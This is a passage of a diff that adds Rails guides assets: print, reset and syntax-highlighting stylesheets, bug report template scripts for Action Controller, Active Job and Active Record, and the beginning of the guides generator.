+++ b/guides/assets/stylesheets/print.css
@@ -0,0 +1,52 @@
+/* Guides.rubyonrails.org */
+/* Print.css */
+/* Created January 30, 2009 */
+/* Modified January 31, 2009
+--------------------------------------- */
+
+body, .wrapper, .note, .info, code, #topNav, .L, .R, #frame, #container, #header, #navigation, #footer, #feature, #mainCol, #subCol, #extraCol, .content {position: static; text-align: left; text-indent: 0; background: White; color: Black; border-color: Black; width: auto; height: auto; display: block; float: none; min-height: 0; margin: 0; padding: 0;}
+
+body {
+  background: #FFF;
+  font-size: 10pt !important;
+  font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
+  line-height: 1.5;
+  color: #000;
+  padding: 0 3%;
+  }
+
+.hide, .nav {
+  display: none !important;
+  }
+
+a:link, a:visited {
+  background: transparent;
+  font-weight: bold;
+  text-decoration: underline;
+  }
+
+hr {
+  background:#ccc;
+  color:#ccc;
+  width:100%;
+  height:2px;
+  margin:2em 0;
+  padding:0;
+  border:none;
+}
+
+h1,h2,h3,h4,h5,h6 { font-family: "Helvetica Neue", Arial, "Lucida Grande", sans-serif; }
+code { font:.9em "Courier New", Monaco, Courier, monospace; display:inline}
+
+img { float:left; margin:1.5em 1.5em 1.5em 0; }
+a img { border:none; }
+
+blockquote {
+  margin:1.5em;
+  padding:1em;
+  font-style:italic;
+  font-size:.9em;
+}
+
+.small  { font-size: .9em; }
+.large  { font-size: 1.1em; }
diff --git a/guides/assets/stylesheets/reset.css b/guides/assets/stylesheets/reset.css
new file mode 100644
index 0000000000..cb14fbcc55
--- /dev/null
+++ b/guides/assets/stylesheets/reset.css
@@ -0,0 +1,43 @@
+/* Guides.rubyonrails.org */
+/* Reset.css */
+/* Created January 30, 2009
+--------------------------------------- */
+
+html, body, div, span, applet, object, iframe,
+h1, h2, h3, h4, h5, h6, p, blockquote, pre,
+a, abbr, acronym, address, big, cite, code,
+del, dfn, em, font, img, ins, kbd, q, s, samp,
+small, strike, strong, sub, sup, tt, var,
+b, u, i, center,
+dl, dt, dd, ol, ul, li,
+fieldset, form, label, legend,
+table, caption, tbody, tfoot, thead, tr, th, td {
+  margin: 0;
+  padding: 0;
+  border: 0;
+  outline: 0;
+  font-size: 100%;
+  background: transparent;
+}
+
+body {line-height: 1; color: black; background: white;}
+a img {border:none;}
+ins {text-decoration: none;}
+del {text-decoration: line-through;}
+
+:focus {
+  -moz-outline:0;
+  outline:0;
+  outline-offset:0;
+}
+
+/* tables still need 'cellspacing="0"' in the markup */
+table {border-collapse: collapse; border-spacing: 0;}
+caption, th, td {text-align: left; font-weight: normal;}
+
+blockquote, q {quotes: none;}
+blockquote:before, blockquote:after,
+q:before, q:after {
+  content: '';
+  content: none;
+}
diff --git a/guides/assets/stylesheets/responsive-tables.css b/guides/assets/stylesheets/responsive-tables.css
new file mode 100644
index 0000000000..f5fbcbf948
--- /dev/null
+++ b/guides/assets/stylesheets/responsive-tables.css
@@ -0,0 +1,50 @@
+/* Foundation v2.1.4 http://foundation.zurb.com */
+/* Artfully masterminded by ZURB  */
+
+/* -------------------------------------------------- 
+   Table of Contents
+-----------------------------------------------------
+:: Shared Styles
+:: Page Name 1
+:: Page Name 2
+*/
+
+
+/* -----------------------------------------
+   Shared Styles
+----------------------------------------- */
+
+table th { font-weight: bold; }
+table td, table th { padding: 9px 10px; text-align: left; }
+
+/* Mobile */
+@media only screen and (max-width: 767px) {
+	
+	table { margin-bottom: 0; }
+	
+	.pinned { position: absolute; left: 0; top: 0; background: #fff; width: 35%; overflow: hidden; overflow-x: scroll; border-right: 1px solid #ccc; border-left: 1px solid #ccc; }
+	.pinned table { border-right: none; border-left: none; width: 100%; }
+	.pinned table th, .pinned table td { white-space: nowrap; }
+	.pinned td:last-child { border-bottom: 0; }
+	
+	div.table-wrapper { position: relative; margin-bottom: 20px; overflow: hidden; border-right: 1px solid #ccc; }
+	div.table-wrapper div.scrollable table { margin-left: 35%; }
+	div.table-wrapper div.scrollable { overflow: scroll; overflow-y: hidden; }	
+	
+	table td, table th { position: relative; white-space: nowrap; overflow: hidden; }
+	table th:first-child, table td:first-child, table td:first-child, table.pinned td { display: none; }
+	
+}
+
+/* -----------------------------------------
+   Page Name 1
+----------------------------------------- */
+
+
+
+
+/* -----------------------------------------
+   Page Name 2
+----------------------------------------- */
+
+
diff --git a/guides/assets/stylesheets/style.css b/guides/assets/stylesheets/style.css
new file mode 100644
index 0000000000..89b2ab885a
--- /dev/null
+++ b/guides/assets/stylesheets/style.css
@@ -0,0 +1,13 @@
+/* Guides.rubyonrails.org */
+/* Style.css */
+/* Created January 30, 2009
+--------------------------------------- */
+
+/*
+---------------------------------------
+Import advanced style sheet
+---------------------------------------
+*/
+
+@import url("reset.css");
+@import url("main.css");
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shCore.css b/guides/assets/stylesheets/syntaxhighlighter/shCore.css
new file mode 100644
index 0000000000..7e1e199343
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCore.css
@@ -0,0 +1,226 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+  -moz-border-radius: 0 0 0 0 !important;
+  -webkit-border-radius: 0 0 0 0 !important;
+  background: none !important;
+  border: 0 !important;
+  bottom: auto !important;
+  float: none !important;
+  height: auto !important;
+  left: auto !important;
+  line-height: 1.1em !important;
+  margin: 0 0 0.5px 0 !important;
+  outline: 0 !important;
+  overflow: visible !important;
+  padding: 0 !important;
+  position: static !important;
+  right: auto !important;
+  text-align: left !important;
+  top: auto !important;
+  vertical-align: baseline !important;
+  width: auto !important;
+  box-sizing: content-box !important;
+  font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+  font-weight: normal !important;
+  font-style: normal !important;
+  font-size: 1em !important;
+  min-height: inherit !important;
+  min-height: auto !important;
+}
+
+.syntaxhighlighter {
+  width: 100% !important;
+  margin: 1em 0 1em 0 !important;
+  position: relative !important;
+  overflow: auto !important;
+  font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+  overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+  font-style: italic !important;
+}
+.syntaxhighlighter .line {
+  white-space: pre !important;
+}
+.syntaxhighlighter table {
+  width: 100% !important;
+}
+.syntaxhighlighter table caption {
+  text-align: left !important;
+  padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+  width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+  position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+  box-sizing: border-box !important;
+  position: absolute !important;
+  left: 0 !important;
+  top: 0 !important;
+  width: 100% !important;
+  height: 100% !important;
+  border: none !important;
+  background: white !important;
+  padding-left: 1em !important;
+  overflow: hidden !important;
+  white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+  text-align: right !important;
+  padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+  padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+  padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+  display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  padding: 0.1em 0.8em 0em 0.8em !important;
+  font-size: 1em !important;
+  position: static !important;
+  width: auto !important;
+  height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+  display: inline !important;
+  margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+  padding: 0 !important;
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+  position: absolute !important;
+  right: 1px !important;
+  top: 1px !important;
+  width: 11px !important;
+  height: 11px !important;
+  font-size: 10px !important;
+  z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+  display: block !important;
+  text-align: center !important;
+  text-decoration: none !important;
+  padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+  display: none !important;
+}
+.syntaxhighlighter.ie {
+  font-size: .9em !important;
+  padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+  line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+  padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+  background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+  color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+  color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+  display: none !important;
+}
+.syntaxhighlighter.printing a {
+  text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+  color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+  color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+  color: #006699 !important;
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+  color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+  color: black !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css
new file mode 100644
index 0000000000..bc7afd3898
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css
@@ -0,0 +1,116 @@
+/**
+ * Theme by fxn, took shThemeEclipse.css as starting point.
+ */
+.syntaxhighlighter {
+  background-color: #eee !important;
+  font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace !important;
+  overflow-y: hidden !important;
+  overflow-x: auto !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #eee !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #eee !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #c3defe !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: #eee !important;
+}
+.syntaxhighlighter table caption {
+  color: #222 !important;
+}
+.syntaxhighlighter .gutter {
+  color: #787878 !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #d4d0c8 !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #d4d0c8 !important;
+  color: #eee !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #3f5fbf !important;
+  background: #eee !important;
+  border: 1px solid #d4d0c8 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #3f5fbf !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: #a0a0a0 !important;
+  background: #d4d0c8 !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: #a0a0a0 !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: red !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: #222 !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #708090 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  font-style: italic !important;
+  color: #6588A8 !important;
+}
+.syntaxhighlighter .keyword {
+  color: #64434d !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #646464 !important;
+}
+.syntaxhighlighter .variable {
+  color: #222 !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter .script {
+  color: #222 !important;
+  background-color: transparent !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #222 !important;
+  font-weight: bold !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: red !important;
+}
+
+.syntaxhighlighter .xml .keyword {
+  color: #64434d !important;
+  font-weight: normal !important;
+}
+.syntaxhighlighter .xml .color1, .syntaxhighlighter .xml .color1 a {
+  color: #7f007f !important;
+}
+.syntaxhighlighter .xml .string {
+  font-style: italic !important;
+  color: #6588A8 !important;
+}
diff --git a/guides/bug_report_templates/action_controller_gem.rb b/guides/bug_report_templates/action_controller_gem.rb
new file mode 100644
index 0000000000..8b7aa893fd
--- /dev/null
+++ b/guides/bug_report_templates/action_controller_gem.rb
@@ -0,0 +1,56 @@
+begin
+  require "bundler/inline"
+rescue LoadError => e
+  $stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler"
+  raise e
+end
+
+gemfile(true) do
+  source "https://rubygems.org"
+  # Activate the gem you are reporting the issue against.
+  gem "rails", "5.1.0"
+end
+
+require "rack/test"
+require "action_controller/railtie"
+
+class TestApp < Rails::Application
+  config.root = __dir__
+  config.session_store :cookie_store, key: "cookie_store_key"
+  secrets.secret_token    = "secret_token"
+  secrets.secret_key_base = "secret_key_base"
+
+  config.logger = Logger.new($stdout)
+  Rails.logger  = config.logger
+
+  routes.draw do
+    get "/" => "test#index"
+  end
+end
+
+class TestController < ActionController::Base
+  include Rails.application.routes.url_helpers
+
+  def index
+    render plain: "Home"
+  end
+end
+
+require "minitest/autorun"
+
+# Ensure backward compatibility with Minitest 4
+Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
+
+class BugTest < Minitest::Test
+  include Rack::Test::Methods
+
+  def test_returns_success
+    get "/"
+    assert last_response.ok?
+  end
+
+  private
+    def app
+      Rails.application
+    end
+end
diff --git a/guides/bug_report_templates/action_controller_master.rb b/guides/bug_report_templates/action_controller_master.rb
new file mode 100644
index 0000000000..3dd66c95ec
--- /dev/null
+++ b/guides/bug_report_templates/action_controller_master.rb
@@ -0,0 +1,52 @@
+begin
+  require "bundler/inline"
+rescue LoadError => e
+  $stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler"
+  raise e
+end
+
+gemfile(true) do
+  source "https://rubygems.org"
+  gem "rails", github: "rails/rails"
+  gem "arel", github: "rails/arel"
+end
+
+require "action_controller/railtie"
+
+class TestApp < Rails::Application
+  config.root = __dir__
+  secrets.secret_token    = "secret_token"
+  secrets.secret_key_base = "secret_key_base"
+
+  config.logger = Logger.new($stdout)
+  Rails.logger  = config.logger
+
+  routes.draw do
+    get "/" => "test#index"
+  end
+end
+
+class TestController < ActionController::Base
+  include Rails.application.routes.url_helpers
+
+  def index
+    render plain: "Home"
+  end
+end
+
+require "minitest/autorun"
+require "rack/test"
+
+class BugTest < Minitest::Test
+  include Rack::Test::Methods
+
+  def test_returns_success
+    get "/"
+    assert last_response.ok?
+  end
+
+  private
+    def app
+      Rails.application
+    end
+end
diff --git a/guides/bug_report_templates/active_job_gem.rb b/guides/bug_report_templates/active_job_gem.rb
new file mode 100644
index 0000000000..252b270a0c
--- /dev/null
+++ b/guides/bug_report_templates/active_job_gem.rb
@@ -0,0 +1,32 @@
+begin
+  require "bundler/inline"
+rescue LoadError => e
+  $stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler"
+  raise e
+end
+
+gemfile(true) do
+  source "https://rubygems.org"
+  # Activate the gem you are reporting the issue against.
+  gem "activejob", "5.1.0"
+end
+
+require "minitest/autorun"
+require "active_job"
+
+# Ensure backward compatibility with Minitest 4
+Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
+
+class BuggyJob < ActiveJob::Base
+  def perform
+    puts "performed"
+  end
+end
+
+class BuggyJobTest < ActiveJob::TestCase
+  def test_stuff
+    assert_enqueued_with(job: BuggyJob) do
+      BuggyJob.perform_later
+    end
+  end
+end
diff --git a/guides/bug_report_templates/active_job_master.rb b/guides/bug_report_templates/active_job_master.rb
new file mode 100644
index 0000000000..7591470440
--- /dev/null
+++ b/guides/bug_report_templates/active_job_master.rb
@@ -0,0 +1,32 @@
+begin
+  require "bundler/inline"
+rescue LoadError => e
+  $stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler"
+  raise e
+end
+
+gemfile(true) do
+  source "https://rubygems.org"
+  gem "rails", github: "rails/rails"
+  gem "arel", github: "rails/arel"
+end
+
+require "active_job"
+require "minitest/autorun"
+
+# Ensure backward compatibility with Minitest 4
+Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
+
+class BuggyJob < ActiveJob::Base
+  def perform
+    puts "performed"
+  end
+end
+
+class BuggyJobTest < ActiveJob::TestCase
+  def test_stuff
+    assert_enqueued_with(job: BuggyJob) do
+      BuggyJob.perform_later
+    end
+  end
+end
diff --git a/guides/bug_report_templates/active_record_gem.rb b/guides/bug_report_templates/active_record_gem.rb
new file mode 100644
index 0000000000..61d4e8d395
--- /dev/null
+++ b/guides/bug_report_templates/active_record_gem.rb
@@ -0,0 +1,52 @@
+begin
+  require "bundler/inline"
+rescue LoadError => e
+  $stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler"
+  raise e
+end
+
+gemfile(true) do
+  source "https://rubygems.org"
+  # Activate the gem you are reporting the issue against.
+  gem "activerecord", "5.1.0"
+  gem "sqlite3"
+end
+
+require "active_record"
+require "minitest/autorun"
+require "logger"
+
+# Ensure backward compatibility with Minitest 4
+Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
+
+# This connection will do for database-independent bug reports.
+ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:")
+ActiveRecord::Base.logger = Logger.new(STDOUT)
+
+ActiveRecord::Schema.define do
+  create_table :posts, force: true do |t|
+  end
+
+  create_table :comments, force: true do |t|
+    t.integer :post_id
+  end
+end
+
+class Post < ActiveRecord::Base
+  has_many :comments
+end
+
+class Comment < ActiveRecord::Base
+  belongs_to :post
+end
+
+class BugTest < Minitest::Test
+  def test_association_stuff
+    post = Post.create!
+    post.comments << Comment.create!
+
+    assert_equal 1, post.comments.count
+    assert_equal 1, Comment.count
+    assert_equal post.id, Comment.first.post.id
+  end
+end
diff --git a/guides/bug_report_templates/active_record_master.rb b/guides/bug_report_templates/active_record_master.rb
new file mode 100644
index 0000000000..8bbc1ef19e
--- /dev/null
+++ b/guides/bug_report_templates/active_record_master.rb
@@ -0,0 +1,49 @@
+begin
+  require "bundler/inline"
+rescue LoadError => e
+  $stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler"
+  raise e
+end
+
+gemfile(true) do
+  source "https://rubygems.org"
+  gem "rails", github: "rails/rails"
+  gem "arel", github: "rails/arel"
+  gem "sqlite3"
+end
+
+require "active_record"
+require "minitest/autorun"
+require "logger"
+
+# This connection will do for database-independent bug reports.
+ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:")
+ActiveRecord::Base.logger = Logger.new(STDOUT)
+
+ActiveRecord::Schema.define do
+  create_table :posts, force: true do |t|
+  end
+
+  create_table :comments, force: true do |t|
+    t.integer :post_id
+  end
+end
+
+class Post < ActiveRecord::Base
+  has_many :comments
+end
+
+class Comment < ActiveRecord::Base
+  belongs_to :post
+end
+
+class BugTest < Minitest::Test
+  def test_association_stuff
+    post = Post.create!
+    post.comments << Comment.create!
+
+    assert_equal 1, post.comments.count
+    assert_equal 1, Comment.count
+    assert_equal post.id, Comment.first.post.id
+  end
+end
diff --git a/guides/bug_report_templates/active_record_migrations_gem.rb b/guides/bug_report_templates/active_record_migrations_gem.rb
new file mode 100644
index 0000000000..00ba3c1cd6
--- /dev/null
+++ b/guides/bug_report_templates/active_record_migrations_gem.rb
@@ -0,0 +1,63 @@
+begin
+  require "bundler/inline"
+rescue LoadError => e
+  $stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler"
+  raise e
+end
+
+gemfile(true) do
+  source "https://rubygems.org"
+  # Activate the gem you are reporting the issue against.
+  gem "activerecord", "5.1.0"
+  gem "sqlite3"
+end
+
+require "active_record"
+require "minitest/autorun"
+require "logger"
+
+# Ensure backward compatibility with Minitest 4
+Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
+
+# This connection will do for database-independent bug reports.
+ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:")
+ActiveRecord::Base.logger = Logger.new(STDOUT)
+
+ActiveRecord::Schema.define do
+  create_table :payments, force: true do |t|
+    t.decimal :amount, precision: 10, scale: 0, default: 0, null: false
+  end
+end
+
+class Payment < ActiveRecord::Base
+end
+
+class ChangeAmountToAddScale < ActiveRecord::Migration[5.0]
+  def change
+    reversible do |dir|
+      dir.up do
+        change_column :payments, :amount, :decimal, precision: 10, scale: 2, default: 0, null: false
+      end
+
+      dir.down do
+        change_column :payments, :amount, :decimal, precision: 10, scale: 0, default: 0, null: false
+      end
+    end
+  end
+end
+
+class BugTest < Minitest::Test
+  def test_migration_up
+    ChangeAmountToAddScale.migrate(:up)
+    Payment.reset_column_information
+
+    assert_equal "decimal(10,2)", Payment.columns.last.sql_type
+  end
+
+  def test_migration_down
+    ChangeAmountToAddScale.migrate(:down)
+    Payment.reset_column_information
+
+    assert_equal "decimal(10,0)", Payment.columns.last.sql_type
+  end
+end
diff --git a/guides/bug_report_templates/active_record_migrations_master.rb b/guides/bug_report_templates/active_record_migrations_master.rb
new file mode 100644
index 0000000000..52c9028b0f
--- /dev/null
+++ b/guides/bug_report_templates/active_record_migrations_master.rb
@@ -0,0 +1,63 @@
+begin
+  require "bundler/inline"
+rescue LoadError => e
+  $stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler"
+  raise e
+end
+
+gemfile(true) do
+  source "https://rubygems.org"
+  gem "rails", github: "rails/rails"
+  gem "arel", github: "rails/arel"
+  gem "sqlite3"
+end
+
+require "active_record"
+require "minitest/autorun"
+require "logger"
+
+# Ensure backward compatibility with Minitest 4
+Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
+
+# This connection will do for database-independent bug reports.
+ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:")
+ActiveRecord::Base.logger = Logger.new(STDOUT)
+
+ActiveRecord::Schema.define do
+  create_table :payments, force: true do |t|
+    t.decimal :amount, precision: 10, scale: 0, default: 0, null: false
+  end
+end
+
+class Payment < ActiveRecord::Base
+end
+
+class ChangeAmountToAddScale < ActiveRecord::Migration[5.0]
+  def change
+    reversible do |dir|
+      dir.up do
+        change_column :payments, :amount, :decimal, precision: 10, scale: 2, default: 0, null: false
+      end
+
+      dir.down do
+        change_column :payments, :amount, :decimal, precision: 10, scale: 0, default: 0, null: false
+      end
+    end
+  end
+end
+
+class BugTest < Minitest::Test
+  def test_migration_up
+    ChangeAmountToAddScale.migrate(:up)
+    Payment.reset_column_information
+
+    assert_equal "decimal(10,2)", Payment.columns.last.sql_type
+  end
+
+  def test_migration_down
+    ChangeAmountToAddScale.migrate(:down)
+    Payment.reset_column_information
+
+    assert_equal "decimal(10,0)", Payment.columns.last.sql_type
+  end
+end
diff --git a/guides/bug_report_templates/benchmark.rb b/guides/bug_report_templates/benchmark.rb
new file mode 100644
index 0000000000..a0b541d012
--- /dev/null
+++ b/guides/bug_report_templates/benchmark.rb
@@ -0,0 +1,50 @@
+begin
+  require "bundler/inline"
+rescue LoadError => e
+  $stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler"
+  raise e
+end
+
+gemfile(true) do
+  source "https://rubygems.org"
+  gem "rails", github: "rails/rails"
+  gem "arel", github: "rails/arel"
+  gem "benchmark-ips"
+end
+
+require "active_support"
+require "active_support/core_ext/object/blank"
+
+# Your patch goes here.
+class String
+  def fast_blank?
+    true
+  end
+end
+
+# Enumerate some representative scenarios here.
+#
+# It is very easy to make an optimization that improves performance for a
+# specific scenario you care about but regresses on other common cases.
+# Therefore, you should test your change against a list of representative
+# scenarios. Ideally, they should be based on real-world scenarios extracted
+# from production applications.
+SCENARIOS = {
+  "Empty"            => "",
+  "Single Space"     => " ",
+  "Two Spaces"       => "  ",
+  "Mixed Whitspaces" => " \t\r\n",
+  "Very Long String" => " " * 100
+}
+
+SCENARIOS.each_pair do |name, value|
+  puts
+  puts " #{name} ".center(80, "=")
+  puts
+
+  Benchmark.ips do |x|
+    x.report("blank?")      { value.blank? }
+    x.report("fast_blank?") { value.fast_blank? }
+    x.compare!
+  end
+end
diff --git a/guides/bug_report_templates/generic_gem.rb b/guides/bug_report_templates/generic_gem.rb
new file mode 100644
index 0000000000..4dcd04ea27
--- /dev/null
+++ b/guides/bug_report_templates/generic_gem.rb
@@ -0,0 +1,25 @@
+begin
+  require "bundler/inline"
+rescue LoadError => e
+  $stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler"
+  raise e
+end
+
+gemfile(true) do
+  source "https://rubygems.org"
+  # Activate the gem you are reporting the issue against.
+  gem "activesupport", "5.1.0"
+end
+
+require "active_support/core_ext/object/blank"
+require "minitest/autorun"
+
+# Ensure backward compatibility with Minitest 4
+Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
+
+class BugTest < Minitest::Test
+  def test_stuff
+    assert "zomg".present?
+    refute "".present?
+  end
+end
diff --git a/guides/bug_report_templates/generic_master.rb b/guides/bug_report_templates/generic_master.rb
new file mode 100644
index 0000000000..ed45726e92
--- /dev/null
+++ b/guides/bug_report_templates/generic_master.rb
@@ -0,0 +1,23 @@
+begin
+  require "bundler/inline"
+rescue LoadError => e
+  $stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler"
+  raise e
+end
+
+gemfile(true) do
+  source "https://rubygems.org"
+  gem "rails", github: "rails/rails"
+  gem "arel", github: "rails/arel"
+end
+
+require "active_support"
+require "active_support/core_ext/object/blank"
+require "minitest/autorun"
+
+class BugTest < Minitest::Test
+  def test_stuff
+    assert "zomg".present?
+    refute "".present?
+  end
+end
diff --git a/guides/rails_guides.rb b/guides/rails_guides.rb
new file mode 100644
index 0000000000..0f611c8f2b
--- /dev/null
+++ b/guides/rails_guides.rb
@@ -0,0 +1,27 @@
+$:.unshift __dir__
+
+as_lib = File.expand_path("../activesupport/lib", __dir__)
+ap_lib = File.expand_path("../actionpack/lib", __dir__)
+av_lib = File.expand_path("../actionview/lib", __dir__)
+
+$:.unshift as_lib if File.directory?(as_lib)
+$:.unshift ap_lib if File.directory?(ap_lib)
+$:.unshift av_lib if File.directory?(av_lib)
+
+require "rails_guides/generator"
+require "active_support/core_ext/object/blank"
+
+env_value = ->(name) { ENV[name].presence }
+env_flag  = ->(name) { "1" == env_value[name] }
+
+version = env_value["RAILS_VERSION"]
+edge    = `git rev-parse HEAD`.strip unless version
+
+RailsGuides::Generator.new(
+  edge:     edge,
+  version:  version,
+  all:      env_flag["ALL"],
+  only:     env_value["ONLY"],
+  kindle:   env_flag["KINDLE"],
+  language: env_value["GUIDES_LANGUAGE"]
+).generate
diff --git a/guides/rails_guides/generator.rb b/guides/rails_guides/generator.rb
new file mode 100644
index 0000000000..35f014747c
--- /dev/null
+++ b/guides/rails_guides/generator.rb
@@ -0,0 +1,206 @@
+require "set"
+require "fileutils"
+
+require "active_support/core_ext/string/output_safety"
+require "active_support/core_ext/object/blank"
+require "action_controller"
+require "action_view"
+
+require "rails_guides/markdown"
+require "rails_guides/indexer"
+require "rails_guides/helpers"
+require "rails_guides/levenshtein"
+
+module RailsGuides
+  class Generator
+    GUIDES_RE = /\.(?:erb|md)\z/
+
+    def initialize(edge:, version:, all:, only:, kindle:, language:)
+      @edge     = edge
+      @version  = version
+      @all      = all
+      @only     = only
+      @kindle   = kindle
+      @language = language
+
+      if @kindle
+        check_for_kindlegen
+        register_kindle_mime_types
+      end
+
+      initialize_dirs
+      create_output_dir_if_needed
+      initialize_markdown_renderer
+    end
+
+    def generate
+      generate_guides
+      copy_assets
+      generate_mobi if @kindle
+    end
+
+    private
+
+      def register_kindle_mime_types
+        Mime::Type.register_alias("application/xml", :opf, %w(opf))
